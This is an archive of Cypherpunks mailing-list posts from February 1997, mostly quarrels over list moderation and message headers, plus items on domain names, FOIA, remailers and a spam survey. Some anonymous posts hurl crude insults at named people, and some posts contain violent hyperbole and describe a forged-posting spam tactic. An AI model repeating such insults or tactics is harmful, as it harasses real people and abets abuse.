owner-cypherpunks-flames at toad.com Sender: owner-cypherpunks-unedited at toad.com Sender: owner-coderpunks at toad.com in the case cited below, the only differentation between the destinations is that the censored message has a "Message-ID: " from toad.com, while the one intended for unedited has a "Message-ID: " not from toad.com. was either of these destinated from flames? --the main list with duplicated messages has contained any number of messages, including ones from the ASCII art series which should have gone to flames. so, why is the pass through message not being reliably re-headered at toad.com to mark "Sender: owner-cypherpunks-unedited at toad.com" --but if it is, why is unedited receiving a duplicate --obviously the duplicate should have gone to flames. BOTTOM LINE: your software is inadequate. my neighbors' kids write better filters than you have installed. +Received: from toad.com (toad.com [140.174.2.1]) + by primenet.com (8.8.5/8.8.5) with ESMTP id EAA05103 + for ; Fri, 7 Feb 1997 04:24:48 -0700 (MST) +Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id +DAA20391; Fri, 7 Feb 1997 03:21:24 -0800 (PST) Received: from +hermes.ex.ac.uk (hermes.ex.ac.uk [194.83.11.25]) by toad.com +(8.7.5/8.7.3) with SMTP id DAA20386; Fri, 7 Feb 1997 03:21:20 -0800 +(PST) Received: from aba at p28-dove-gui.tch.virgin.net [194.168.60.88] +by hermes via ESMTP (LAA22615); Fri, 7 Feb 1997 11:21:06 GMT Received: +(from aba at localhost) by server.test.net (8.6.12/8.6.12) id LAA00460; +Fri, 7 Feb 1997 11:15:30 GMT Date: Fri, 7 Feb 1997 11:15:30 GMT +Message-Id: <199702071115.LAA00460 at server.test.net> +From: Adam Back +To: mark at infolawalert.com +Cc: cypherpunks at toad.com, mclow at owl.csusm.edu +In-reply-to: <199702052256.OAA06322 at toad.com> (message from Mark + Voorhees on Wed, 05 Feb 97 17:05:51 -0400) +Subject: Re: Deloitte-Touche? +Sender: owner-cypherpunks at toad.com +Precedence: bulk +X-UIDL: 5456a9a45ccaf4617ae176a63b26efb4 +Received: from toad.com (toad.com [140.174.2.1]) + by primenet.com (8.8.5/8.8.5) with ESMTP id JAA26045; + Fri, 7 Feb 1997 09:00:01 -0700 (MST) +Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id +HAA24892; Fri, 7 Feb 1997 07:12:54 -0800 (PST) Message-Id: + <199702071512.HAA24892 at toad.com> +Date: Fri, 7 Feb 1997 11:15:30 GMT +From: Adam Back +To: mark at infolawalert.com +Cc: cypherpunks at toad.com, mclow at owl.csusm.edu +Subject: Re: Deloitte-Touche? +Sender: owner-cypherpunks at toad.com +Precedence: bulk +X-UIDL: 83079c59aea2b28dc5ded2dc73c5219a -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQCVAwUBMvtvF704kQrCC2kFAQEFAwP/RyyZswe9GznJt4TAEMPnhKcgA9pUsf+k mw+pDcjaJyUfKttoaVz0qRM2hIe33igoPtBDXWf5VD9r+Gz+gry6K+UK7rYCNNE9 MMdYHRV51hYuLKJAY4LNU6j5hoqf5q2Btt/m3F9SFQtD0ellsi4QH/vseJC1YNYh tq3TA+hny/U= =v3sl -----END PGP SIGNATURE----- From frogfarm at yakko.cs.wmich.edu Fri Feb 7 10:22:03 1997 From: frogfarm at yakko.cs.wmich.edu (Damaged Justice) Date: Fri, 7 Feb 1997 10:22:03 -0800 (PST) Subject: Metzger, Denninger square off Message-ID: <199702071824.NAA05470@yakko.cs.wmich.edu> [Forwarded from Wired news. Let's cut to the chase: Which side is in the right? Who can tell me, in plain and simple language, who is fighting for individual freedom and property rights, and who is not?] [LINK] Foes Vow to Take Domain Name Fight to FCC by Gene Koprowski 5:01 pm PST 6 Feb 97 - A proposal by the International Ad Hoc Committee (IAHC) to expand the number of Internet top-level domain names is stirring opposition among alternative domain name providers. Opponents call the plan "unenforceable," and are considering filing a protest with the Federal Communications Commission, indicating that the IAHC policy might violate the 1996 Telecommunication Act's open access provisions. "We didn't want to have to get my guns, rifles, and bombs out - but now we have to," Carl Denninger, president of Macro Computer Solutions, Chicago, a long-time opponent of IACH, tells Wired News. "If someone doesn't point a revolver at them, they will be able to do whatever they want to do." On Tuesday, the intergovernmental body issued a proposal to expand the number of generic top-level domains (GTLDs), adding seven new listings in addition to the existing ones, which include the familiar .com, .net, and .org. The new GTLDs would include .firm, for businesses; .store, for retail businesses; .web, for Web-related companies; .arts, for cultural organizations; .rec, for recreation and entertainment facilities; .info, for information services; and .nom, for individuals. Perry Metzger, a member of the IAHC board, said that the organization, whose members include the International Telecommunications Union and the World Intellectual Property Organization, will likely formally approval the proposal very quickly. "This is not a done deal. The paperwork needs to be signed. An association to handle this has to be set up," says Metzger. "But it will go forward very soon. I'm sure plenty of people will not be in favor of it. But the question is: What can they do to stop it?" The answer is plenty, says Denninger. He and others, like Eugene Kashpureff of Alternic, have long fought the IAHC's attempts to expand the number of GTLDs. They think the creation of these new categories may lead to trademark infringement and other intellectual property problems. They also think the new domain names will "fragment" the Internet, leaving some users unable to communicate with others, if a server does not recognize the name request. Denninger said he received a leaked copy of the IACH proposal earlier this week, and he and his colleagues are considering bringing their protests to the FCC. "We're given open access under the telecom law," says Denninger. "We might talk to the FCC or the Clinton administration about this." Barring that, Denninger will lobby Internet service providers around the country, asking them not to recognize the new GTLDs. "There is no reason to support it. We will do everything in our power to convince ISPs not to go along," he says. As part of that, he is launching a national public relations and lobbying campaign to alert the Internet community about the IACH proposal. [LINK] Copyright � 1993-97 Wired Ventures, Inc. and affiliated companies. All rights reserved. From attila at primenet.com Fri Feb 7 10:23:48 1997 From: attila at primenet.com (Attila T. Hun) Date: Fri, 7 Feb 1997 10:23:48 -0800 (PST) Subject: censorship and headers/example of ascii art which passed filters Message-ID: <199702071823.LAA19320@infowest.com> -----BEGIN PGP SIGNED MESSAGE----- the "message" example which follows is obviously a message which should have been destinated for owner-cypherpunks-flame. there is absolutely no indication of the differentation and the header shows: Sender: owner-cypherpunks at toad.com when it should have shown: Sender: owner-cypherpunks-edited at toad.com let's put it this way, if cp is to be censored, might as well do the job correctly as this message was dumped into the main list. regardless, censoring what is supposed to be the free speech defenders of the online world is a poor example of our toleration for differing viewpoints, regardless of their alledged stupidity or off-topic value, or lack of value. So far, cypherpunks is showing less tolerance for freedom of speech that the United State Supreme Court. You all know something I dont? or do I need to start cleaning and oiling real soon? --attila +Received: from toad.com (toad.com [140.174.2.1]) + by primenet.com (8.8.5/8.8.5) with ESMTP id FAA10780 + for ; Fri, 7 Feb 1997 05:23:55 -0700 (MST) +Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id +EAA21727; Fri, 7 Feb 1997 04:19:54 -0800 (PST) Received: from +sirius.infonex.com (root at sirius.infonex.com [206.170.114.2]) by +toad.com (8.7.5/8.7.3) with ESMTP id EAA21718; Fri, 7 Feb 1997 +04:19:47 -0800 (PST) Received: from mail.infonex.net +(dfbfl4-37.gate.net [199.227.103.228]) by sirius.infonex.com +(8.7.3/8.7.3) with SMTP id EAA26850 for cypherpunks at toad.com; Fri, 7 +Feb 1997 04:19:33 -0800 (PST) Message-Id: +<199702071219.EAA26850 at sirius.infonex.com> Date: Friday, 07 Feb 97 +07:19:25 EST +To: cypherpunks at toad.com +From: winsock at rigel.cyberpass.net (WinSock Remailer) +X-Mailer: WinSock Remailer Version ALPHA1.3 +X-Comments: - +X-Comments: This message is NOT from winsock at rigel.cyberpass.net. It +was X-Comments: remailed by an automated anonymous remailer. +X-Comments: - +X-Comments: SEND ALL COMPLAINTS AND BLOCKING REQUESTS DIRECTLY TO: +X-Comments: REOP-L at cornell.edu +X-Comments: - +X-Comments: WinSock Remailer (winsock at rigel.cyberpass.net) +X-Comments: http://www.cyberpass.net/~winsock/ X-Comments: - +X-Remailer-Setup: Maximum Message Size -- None +X-Remailer-Setup: Reordering is ON, Mail Poolsize is 3 +X-Remailer-Setup: News Posting DISABLED +X-Remailer-Setup: Subject Header KILLED +X-Remailer-Setup: Logging OFF +X-Remailer-Setup: All messages must be PGP encrypted +Subject: Re: Sphere packings +Sender: owner-cypherpunks at toad.com +Precedence: bulk +X-UIDL: e2bae6a70f8b97f156939d711ba124ba +Dickhead Vermin K[ondom]OTM has been a source of endless +embarassments to his sympathizers on and off the net. + _ O O _ + \-|-\_/-|-/ Dickhead Vermin K[ondom]OTM + /^\ /^\ + ^^ ^^ ^^ ^^ -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQCVAwUBMvtzDL04kQrCC2kFAQF8UwQAi2uqgh2IX8zy9BgXmuBK5hI0yza9XeJ1 +o/aa6KXnKA5+aBuFF5VFufijsJgMQ+2TI+OVi1oPy9OpWofZ1mHzzzNDndypfv6 Bnb05Yrz3ikJXitr7zs26+f8ImeC++5hrkNanPUVBuwa09l2NMYjvGRf+980XLIA 3TIkjAlpcrk= =1Izr -----END PGP SIGNATURE----- From attila at primenet.com Fri Feb 7 10:29:56 1997 From: attila at primenet.com (Attila T. Hun) Date: Fri, 7 Feb 1997 10:29:56 -0800 (PST) Subject: Which list am I on? In-Reply-To: <19970207093042.7371.qmail@anon.lcs.mit.edu> Message-ID: <199702071829.LAA19644@infowest.com> -----BEGIN PGP SIGNED MESSAGE----- antimod (nym): no way to tell what list your receiving from; the software Sandy and John installed to facilitate their un-American activities is hosed. in most cases it fails to apply the correct sender name, defaulting to the main, supposedly censored list. -attila on or about 970207:0930 Against Moderation said: +I thought I was on the cypherpunks edited list. However, I appear to +have seen some of the messages that Tim says got lost. Moreover, I +keep getting ASCII art messages flaming someone with the initials DLV +(though I haven't seen any more of the TCM flames [I haven't looked too +hard, either]). My mail headers have: +>From cypherpunks-errors at toad.com +>Sender: owner-cypherpunks at toad.com +Now I'm really confused. Which list am I on? -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQCVAwUBMvt0Tb04kQrCC2kFAQHU3wP+IJE5n2Ypp6WLgxIHX1u0YfFah6fNP+Pz UmToaW0C+mVZLM9S7VpBjwhiyqFCWWpZMbrqAnpkU9/yGCnHnhfjZ1P8I9SZZc0n FmcomIS5BwcDC+Zd+5t4YeOOhqHZPDlqKMsZ/UuKfOeQainfedlvTmNJI2fIqTsy t9jLSuDKWEE= =s+Wc -----END PGP SIGNATURE----- From john at cognac.apana.org.au Fri Feb 7 10:37:42 1997 From: john at cognac.apana.org.au (John Pearson) Date: Fri, 7 Feb 1997 10:37:42 -0800 (PST) Subject: Cypherpunks FOIA request In-Reply-To: <199702051526.HAA28782@toad.com> Message-ID: > On 1/18/97, I sent freedom of information act requests to the FBI (main and > San Francisco offices), CIA, NSA, and Secret Service, asking them for copies > of information in their files relating to or referring to the cypherpunks > list, the cypherpunks meetings, and copies of any messages sent from or to > "cypherpunks at toad.com". [...] > I'm not sure what I think about the response from the SF FBI branch - it > seems unlikely that they'd never have paid any attention to the list, given > the media coverage in Wired and other places. On the other hand, maybe the > FBI doesn't read Wired. :) While they're not supposed to be monitoring > noncriminal domestic activity, I figured they'd at least have something about > the Mykotronix stuff. > If you think so, you may wish to consider filing an FOIA request for the Mykotronix stuff, and see if it mentions cypherpunks; it could provide an interesting perspective on their response. John P. john at huiac.apana.org.au From mark at unicorn.com Fri Feb 7 10:39:37 1997 From: mark at unicorn.com (Mark Grant) Date: Fri, 7 Feb 1997 10:39:37 -0800 (PST) Subject: My Departure, Moderation, and "Ownership of the List" In-Reply-To: <199702032259.OAA05072@toad.com> Message-ID: On Mon, 3 Feb 1997, Adam Back wrote: > My vote is for renaming: > `cypherpunks-unedited' -> `cypherpunks' > and `cypherpunks' -> `cypherpunks-edited' I have to agree. I'm only a 'cypherpunk' in the sense of setting up various crypto-related Web sites and writing and giving away thousands of lines of cryptography code rather than regularly posting to the list, but my main concern is that the default for the list has gone from anarchy to moderation. If the users of the list truly believe in anarchistic solutions to problems then the moderated list should exist *in addition* to the unmoderated list, rather than replacing it. In a truly anarchistic society the cypherpunks list would be an unmoderated forum full of spam and opinions related in some way to the list topics and numerous moderators would charge us for their versions of the list in which they simply pass on the messages they like. We could then choose a moderator whose interests are similar to ours and pay them for providing us with apropriate information. IMHO this is the way that mailing lists and Usenet are likely to evolve as they become too large for us to read and react to all posts; we should be in the vanguard of creating appropriate solutions to the problems. Providing a moderated list which saves me from dowloading spam is a worthwhile exercise which is potentially valuable to me (and I'm grateful to Sandy for offering such a service for free), but I do not believe that it should be the default for new subscribers. Mark |-----------------------------------------------------------------------| |Mark Grant M.A., U.L.C. EMAIL: mark at unicorn.com | |WWW: http://www.unicorn.com/ MAILBOT: bot at unicorn.com | |-----------------------------------------------------------------------| From andrew_loewenstern at il.us.swissbank.com Fri Feb 7 10:49:56 1997 From: andrew_loewenstern at il.us.swissbank.com (Andrew Loewenstern) Date: Fri, 7 Feb 1997 10:49:56 -0800 (PST) Subject: anonymous remailers In-Reply-To: <199702062301.PAA02208@toad.com> Message-ID: <9702071849.AA01238@ch1d157nwk> Charley Musselman writes: > Does anyone know the answer? Specifically, how can we choose > a trusted remailer? The answer is to run your own remailer. Make sure your chain includes your remailer at least once. If you can't trust yourself, who can you trust? andrew From jya at pipeline.com Fri Feb 7 11:00:08 1997 From: jya at pipeline.com (John Young) Date: Fri, 7 Feb 1997 11:00:08 -0800 (PST) Subject: Project 25 Radio Message-ID: <1.5.4.32.19970207185418.006ee0e4@pop.pipeline.com> The National Communications Systems published in the Federal Register of February 6, a notice of FTR1024 covering Land Mobile Radio, Project 25. The recommentation specifies encryption: DES (Type 3) and Type 1 for classified use. The specifications are based on seven public TIA documents and one classified NSA document. "This recommendation is intended to facilitate interoperability among telecommunication facilities and systems of the Federal Government." The official document is available in PDF format at: http://members.aol.com/Project25/1024.pdf We've prepared a hypertext version: http://jya.com/ftr1024.htm From nobody at huge.cajones.com Fri Feb 7 11:14:05 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Fri, 7 Feb 1997 11:14:05 -0800 (PST) Subject: No Subject Message-ID: <199702071913.LAA15166@mailmasher.com> Date: Fri, 07 Feb 1997 07:13:18 -0800 From: Dale Thorn :When I was in the Perot camp Gotta be Dale! A measure of my health; I admit preferring the invective of Tim and Dr. V. to this purile nonsense. Pablum for the c'punk masses. Ciao From nobody at huge.cajones.com Fri Feb 7 11:22:24 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Fri, 7 Feb 1997 11:22:24 -0800 (PST) Subject: [IMPORTANT] Zero-knowledge interactive proofs Message-ID: <199702071922.LAA17740@mailmasher.com> Many forgeries are traceable with mathematical certainty to feebleminded Timmy C. May's poison keyboard. .oooO Oooo. ( ) _ _ ( ) \ ( / ) ( \ ) / ----\_)-/ (---) \-(_/---- ( ) ( ) oooO Oooo From mpd at netcom.com Fri Feb 7 11:28:48 1997 From: mpd at netcom.com (Mike Duvos) Date: Fri, 7 Feb 1997 11:28:48 -0800 (PST) Subject: My messages not appearing on either of the lists? Message-ID: <199702071928.LAA29053@toad.com> Tim May writes: > My posting seem to be going into Limbo, being sent neither to the > Cypherpunks Heaven Sandy administers nor to the flames of the Cypherpunks > Hell. At least this is how things now appear. > I sent the message below to the list this morning (Thursday) at 8:43 a.m. > PST. As of tonight, 12 hours later, I haven't seen it on either the > Singapore Web site--last archived 30 minutes ago--or on the "Flames" list > to which I have temporarily subscribed (to see what Sandy counts as a > "flame"). Now that a few weeks have passed, I have decided that moderation delays are the most annoying feature of the new experiment. I am subscribed to the unedited list under another account, and its almost instantaneous traffic is in great contrast to the time required for posts to trickle through the Sandfort-Bot. > By the way, I noted that many of the messages which appeared at the > Singapore Web archive site have dates much later than mine, including > several dated at least 8-10 hours after my message. Likewise, some of the > Flames messages are dated much later than my message. Messages apparently do not get moderated in the order in which they are received. Some messages take a very long time, as other later messages pass them by and are posted to the list. Again, I have no explanation for this unusual behavior. -- Mike Duvos $ PGP 2.6 Public Key available $ mpd at netcom.com $ via Finger. $ From ott0matic at hotmail.com Fri Feb 7 11:36:04 1997 From: ott0matic at hotmail.com (Otto Matic) Date: Fri, 7 Feb 1997 11:36:04 -0800 (PST) Subject: Cool Names, Lost in Flames Message-ID: <199702071935.LAA14027@f14.hotmail.com> Some time ago Human Gus-Peter wrote something that went like this: > I still think that you should just let your kids run your machine or > just pick the guy with the coolest name, like Attila the Hun or > Genocide or OttOmatic. Thanks, Human Gus-peter. I think my name is cool also. I am only suscribeed to the flames list, because my uncle (a secret guy) reads the CENSORED list. This way we can see what the other secret guys are up to, and what kind of KewL StUfF they throw into the Flames Trashcan. Human Gus-peter, I think you should be very careful. They throw everything you write into the trash. That could mean they are watching you. That could be VERY bad for you. We will see where this message goes. otto =-=-=-=-=- Otto Matic "Fuckin' A, Miller!" Bud, Repo Man --------------------------------------------------------- Get Your *Web-Based* Free Email at http://www.hotmail.com --------------------------------------------------------- From jya at pipeline.com Fri Feb 7 11:39:55 1997 From: jya at pipeline.com (John Young) Date: Fri, 7 Feb 1997 11:39:55 -0800 (PST) Subject: 40-bit RC5 crack meaningless?? Message-ID: <199702071939.LAA29180@toad.com> Paul Strassmann served on the "Information Warefare - Defense" Task Force sponsored by the Defense Science Board. He has a Web site at: http://www.strassmann.com The IW-D report recounts most of the well-known info-war memes to buttress its plea for more info-warfighting funds, and says that business needs DoD protection. It de-emphasizes the encryption debate, claiming that crypto is not an important part of the problem or the solution. Remailers are not mentioned. Short and long versions of IW-D: http://jya.com/iwd.htm Winn Schwartau's infowar.com offers it too. SAIC was generously represented on the Task Force: Strassmann, Bellcore's head, a couple more. As well as others committed to "raising the bar" against attack on Info-Maginot: http://jya.com/iwdaff.htm From shamrock at netcom.com Fri Feb 7 11:40:06 1997 From: shamrock at netcom.com (Lucky Green) Date: Fri, 7 Feb 1997 11:40:06 -0800 (PST) Subject: Waiting for Mac version [was Re: Full strength Email Clients] Message-ID: <199702071940.LAA29192@toad.com> At 11:19 PM 2/6/97 -0800, Steve Schear wrote: >>-----BEGIN PGP SIGNED MESSAGE----- >> >>At 06:51 PM 2/6/97 +0800, pclow wrote: >>>>>the >>>>>available >>> >Its too bad there isn't a Mac version contemplated. They appear to think >that existing PGP versions, paired with Eudora, are sufficient. >From their FAQ: 9.What is the status of the Macintosh product? ViaCrypt PGP 2.7.1 is available for the Macintosh today. We are working on a new version for the Macintosh, adding new features and revising the graphical user interface to make it easier to use. The revised Macintosh version will follow the Windows release. -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From inc at jps.net Fri Feb 7 11:40:14 1997 From: inc at jps.net (linda wilson) Date: Fri, 7 Feb 1997 11:40:14 -0800 (PST) Subject: Appointment Verification Message-ID: <199702071940.LAA29202@toad.com> Suck_My_Big_Juicy_Cock, We would like to ask for your help with a survey for a service bureau we are considering developing software for in voice communications. This software will be used to remind patients of their upcoming appointments, allow them to confirm or reschedule. After confirming which patients will not be able to make their appointment the system will contact all individuals that are on a waiting list to schedule them for open time slots..... For assisting us we will mail you a FREE certificate for 100 rolls of Kodak film and a 35 mm camera. NO ONE WIll CALL YOU! 1. Do you feel doctors would use a service which calls patients for them using a personalized Voice system reminding them of their appointments? ____yes ____NO 2. How important do you feel it is to doctors to eliminate the drudgery of staff calling patients reminding them of appointments. not important ______ somewhat important ______ Very important ______ 3. What's do you feel would be a fair price or doctors would be willing to pay for such a service? 100-$200 per month _____ 200-$300 per month _____ 300- $400 per month _____ Other ____________ Please email your answers to advance at ns.net If you have any suggestions on any additional automated voice service you would like to see someone develop please let us know. Thanks again for your participation. From sandfort at crl.com Fri Feb 7 11:40:20 1997 From: sandfort at crl.com (Sandy Sandfort) Date: Fri, 7 Feb 1997 11:40:20 -0800 (PST) Subject: My messages not appearing on either of the lists? In-Reply-To: <199702071636.IAA26298@netcom19.netcom.com> Message-ID: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SANDY SANDFORT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . C'punks, On Fri, 7 Feb 1997, Mike Duvos wrote: > ...Messages apparently do not get moderated in the order in > which they are received... All messages are filtered and posted in the order in which I receive them. S a n d y ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From attila at primenet.com Fri Feb 7 11:40:38 1997 From: attila at primenet.com (Attila T. Hun) Date: Fri, 7 Feb 1997 11:40:38 -0800 (PST) Subject: Which list am I on? Message-ID: <199702071940.LAA29223@toad.com> -----BEGIN PGP SIGNED MESSAGE----- antimod (nym): no way to tell what list your receiving from; the software Sandy and John installed to facilitate their un-American activities is hosed. in most cases it fails to apply the correct sender name, defaulting to the main, supposedly censored list. -attila on or about 970207:0930 Against Moderation said: +I thought I was on the cypherpunks edited list. However, I appear to +have seen some of the messages that Tim says got lost. Moreover, I +keep getting ASCII art messages flaming someone with the initials DLV +(though I haven't seen any more of the TCM flames [I haven't looked too +hard, either]). My mail headers have: +>From cypherpunks-errors at toad.com +>Sender: owner-cypherpunks at toad.com +Now I'm really confused. Which list am I on? -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQCVAwUBMvt0Tb04kQrCC2kFAQHU3wP+IJE5n2Ypp6WLgxIHX1u0YfFah6fNP+Pz UmToaW0C+mVZLM9S7VpBjwhiyqFCWWpZMbrqAnpkU9/yGCnHnhfjZ1P8I9SZZc0n FmcomIS5BwcDC+Zd+5t4YeOOhqHZPDlqKMsZ/UuKfOeQainfedlvTmNJI2fIqTsy t9jLSuDKWEE= =s+Wc -----END PGP SIGNATURE----- From mix-admin at nym.alias.net Fri Feb 7 11:40:56 1997 From: mix-admin at nym.alias.net (lcs Remailer Administrator) Date: Fri, 7 Feb 1997 11:40:56 -0800 (PST) Subject: WANTED: Tolerant, anonymity-friendly news admins Message-ID: <199702071940.LAA29231@toad.com> aga writes: > Who attacked the network and for what reason? Well, as best I can tell I've gotten caught in the crossfire of a spam/"anti-spam" spam war. People are forging articles through anonymous remailers to solicit spam to non-spamming customers of "spam-friendly" ISPs, in the hopes of driving those customers away. In other words, a lot of articles are being posted to groups like alt.make.money.fast with headers like: From: customer at isp.under.attack (My^ISP^spams^I^should^switch) Then the spam bots collect the addresses, and send lots of mail like To: customer at isp.under.attack (My^ISP^spams^I^should^switch) Subject: Great opportunity!!! My^ISP^spams^I^should^switch, I saw your post the other day, and have an oportunity for you that's so good you can't miss it... It would be amusing if it weren't causing me hassles. Ultimately, however, the person doing this is clearly trying to get ISPs to set more restrictive policies about what mail/news customers can send, while knocking off a few anonymous remailers and mail2news gateways in the process. > Well, just who is cutting you off and for what reason? > And what is their telephone number? At issue here are a number of complicated high-level administrative issues. It's not just that someone is trying to pull the plug on me. I've been asked by someone who is not the one getting the phone calls or exerting anti-mail2news pressure if I would stop using MIT news servers. The reason is that that person needs to maintain good relations with the people who are being harassed over the fogery. I don't really want to go into details. The point is that this situation is a lot more subtle than whether the pro-mail2news people can "out-harrass" the people complaining about forgeries. Therefore, I would sincerely appreciate it if you did not try to make any phone calls or do anything to use up any more of these people's time. I fully intend to keep mail2news running, and am just trying to get more news servers (after having lost one) to maintain reliability and strengthen my position. > Just what is your definition of "abuse?" This got answered in a separate message. From attila at primenet.com Fri Feb 7 11:41:13 1997 From: attila at primenet.com (Attila T. Hun) Date: Fri, 7 Feb 1997 11:41:13 -0800 (PST) Subject: censorship and headers/example of ascii art which passed filters Message-ID: <199702071941.LAA29267@toad.com> -----BEGIN PGP SIGNED MESSAGE----- the "message" example which follows is obviously a message which should have been destinated for owner-cypherpunks-flame. there is absolutely no indication of the differentation and the header shows: Sender: owner-cypherpunks at toad.com when it should have shown: Sender: owner-cypherpunks-edited at toad.com let's put it this way, if cp is to be censored, might as well do the job correctly as this message was dumped into the main list. regardless, censoring what is supposed to be the free speech defenders of the online world is a poor example of our toleration for differing viewpoints, regardless of their alledged stupidity or off-topic value, or lack of value. So far, cypherpunks is showing less tolerance for freedom of speech that the United State Supreme Court. You all know something I dont? or do I need to start cleaning and oiling real soon? --attila +Received: from toad.com (toad.com [140.174.2.1]) + by primenet.com (8.8.5/8.8.5) with ESMTP id FAA10780 + for ; Fri, 7 Feb 1997 05:23:55 -0700 (MST) +Received: (from majordom at localhost) by toad.com (8.7.5/8.7.3) id +EAA21727; Fri, 7 Feb 1997 04:19:54 -0800 (PST) Received: from +sirius.infonex.com (root at sirius.infonex.com [206.170.114.2]) by +toad.com (8.7.5/8.7.3) with ESMTP id EAA21718; Fri, 7 Feb 1997 +04:19:47 -0800 (PST) Received: from mail.infonex.net +(dfbfl4-37.gate.net [199.227.103.228]) by sirius.infonex.com +(8.7.3/8.7.3) with SMTP id EAA26850 for cypherpunks at toad.com; Fri, 7 +Feb 1997 04:19:33 -0800 (PST) Message-Id: +<199702071219.EAA26850 at sirius.infonex.com> Date: Friday, 07 Feb 97 +07:19:25 EST +To: cypherpunks at toad.com +From: winsock at rigel.cyberpass.net (WinSock Remailer) +X-Mailer: WinSock Remailer Version ALPHA1.3 +X-Comments: - +X-Comments: This message is NOT from winsock at rigel.cyberpass.net. It +was X-Comments: remailed by an automated anonymous remailer. +X-Comments: - +X-Comments: SEND ALL COMPLAINTS AND BLOCKING REQUESTS DIRECTLY TO: +X-Comments: REOP-L at cornell.edu +X-Comments: - +X-Comments: WinSock Remailer (winsock at rigel.cyberpass.net) +X-Comments: http://www.cyberpass.net/~winsock/ X-Comments: - +X-Remailer-Setup: Maximum Message Size -- None +X-Remailer-Setup: Reordering is ON, Mail Poolsize is 3 +X-Remailer-Setup: News Posting DISABLED +X-Remailer-Setup: Subject Header KILLED +X-Remailer-Setup: Logging OFF +X-Remailer-Setup: All messages must be PGP encrypted +Subject: Re: Sphere packings +Sender: owner-cypherpunks at toad.com +Precedence: bulk +X-UIDL: e2bae6a70f8b97f156939d711ba124ba +Dickhead Vermin K[ondom]OTM has been a source of endless +embarassments to his sympathizers on and off the net. + _ O O _ + \-|-\_/-|-/ Dickhead Vermin K[ondom]OTM + /^\ /^\ + ^^ ^^ ^^ ^^ -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: latin1 Comment: No safety this side of the grave. Never was; never will be iQCVAwUBMvtzDL04kQrCC2kFAQF8UwQAi2uqgh2IX8zy9BgXmuBK5hI0yza9XeJ1 +o/aa6KXnKA5+aBuFF5VFufijsJgMQ+2TI+OVi1oPy9OpWofZ1mHzzzNDndypfv6 Bnb05Yrz3ikJXitr7zs26+f8ImeC++5hrkNanPUVBuwa09l2NMYjvGRf+980XLIA 3TIkjAlpcrk= =1Izr -----END PGP SIGNATURE----- From frogfarm at yakko.cs.wmich.edu Fri Feb 7 11:41:14 1997 From: frogfarm at yakko.cs.wmich.edu (Damaged Justice) Date: Fri, 7 Feb 1997 11:41:14 -0800 (PST) Subject: Metzger, Denninger square off Message-ID: <199702071941.LAA29268@toad.com> [Forwarded from Wired news. Let's cut to the chase: Which side is in the right? Who can tell me, in plain and simple language, who is fighting for individual freedom and property rights, and who is not?] [LINK] Foes Vow to Take Domain Name Fight to FCC by Gene Koprowski 5:01 pm PST 6 Feb 97 - A proposal by the International Ad Hoc Committee (IAHC) to expand the number of Internet top-level domain names is stirring opposition among alternative domain name providers. Opponents call the plan "unenforceable," and are considering filing a protest with the Federal Communications Commission, indicating that the IAHC policy might violate the 1996 Telecommunication Act's open access provisions. "We didn't want to have to get my guns, rifles, and bombs out - but now we have to," Carl Denninger, president of Macro Computer Solutions, Chicago, a long-time opponent of IACH, tells Wired News. "If someone doesn't point a revolver at them, they will be able to do whatever they want to do." On Tuesday, the intergovernmental body issued a proposal to expand the number of generic top-level domains (GTLDs), adding seven new listings in addition to the existing ones, which include the familiar .com, .net, and .org. The new GTLDs would include .firm, for businesses; .store, for retail businesses; .web, for Web-related companies; .arts, for cultural organizations; .rec, for recreation and entertainment facilities; .info, for information services; and .nom, for individuals. Perry Metzger, a member of the IAHC board, said that the organization, whose members include the International Telecommunications Union and the World Intellectual Property Organization, will likely formally approval the proposal very quickly. "This is not a done deal. The paperwork needs to be signed. An association to handle this has to be set up," says Metzger. "But it will go forward very soon. I'm sure plenty of people will not be in favor of it. But the question is: What can they do to stop it?" The answer is plenty, says Denninger. He and others, like Eugene Kashpureff of Alternic, have long fought the IAHC's attempts to expand the number of GTLDs. They think the creation of these new categories may lead to trademark infringement and other intellectual property problems. They also think the new domain names will "fragment" the Internet, leaving some users unable to communicate with others, if a server does not recognize the name request. Denninger said he received a leaked copy of the IACH proposal earlier this week, and he and his colleagues are considering bringing their protests to the FCC. "We're given open access under the telecom law," says Denninger. "We might talk to the FCC or the Clinton administration about this." Barring that, Denninger will lobby Internet service providers around the country, asking them not to recognize the new GTLDs. "There is no reason to support it. We will do everything in our power to convince ISPs not to go along," he says. As part of that, he is launching a national public relations and lobbying campaign to alert the Internet community about the IACH proposal. [LINK] Copyright ) 1993-97 Wired Ventures, Inc. and affiliated companies. All rights reserved. From attila at primenet.com Fri Feb 7 11:41:18 1997 From: attila at primenet.com (Attila T. Hun) Date: Fri, 7 Feb 1997 11:41:18 -0800 (PST) Subject: faulty moderation software: duplicate messages Message-ID: <199702071941.LAA29273@toad.com> -----BEGIN PGP SIGNED MESSAGE----- Virtually all list postings to the cypherpunks main list are doubled; the first, which is a standard pass through with the message ID of the sender, the second with the message ID of toad.com. Obviously, the first is destined for the unedited list --which did _not_ receive the message. The second has been re-IDd, which I presume is your censorhip mark. I happen to subscribe to all three lists, even though main + flames == unedited is supposedly the intention, it is not. In order to divide the output stream from toad.com, sorting on "Sender: " is the only reasonable differentation (when toad's filters are working): Sender: owner-cypherpunks at toad.com Sender: owner-cypherpunks-flames at toad.com Sender: owner-cypherpunks-unedited at toad.com Sender: 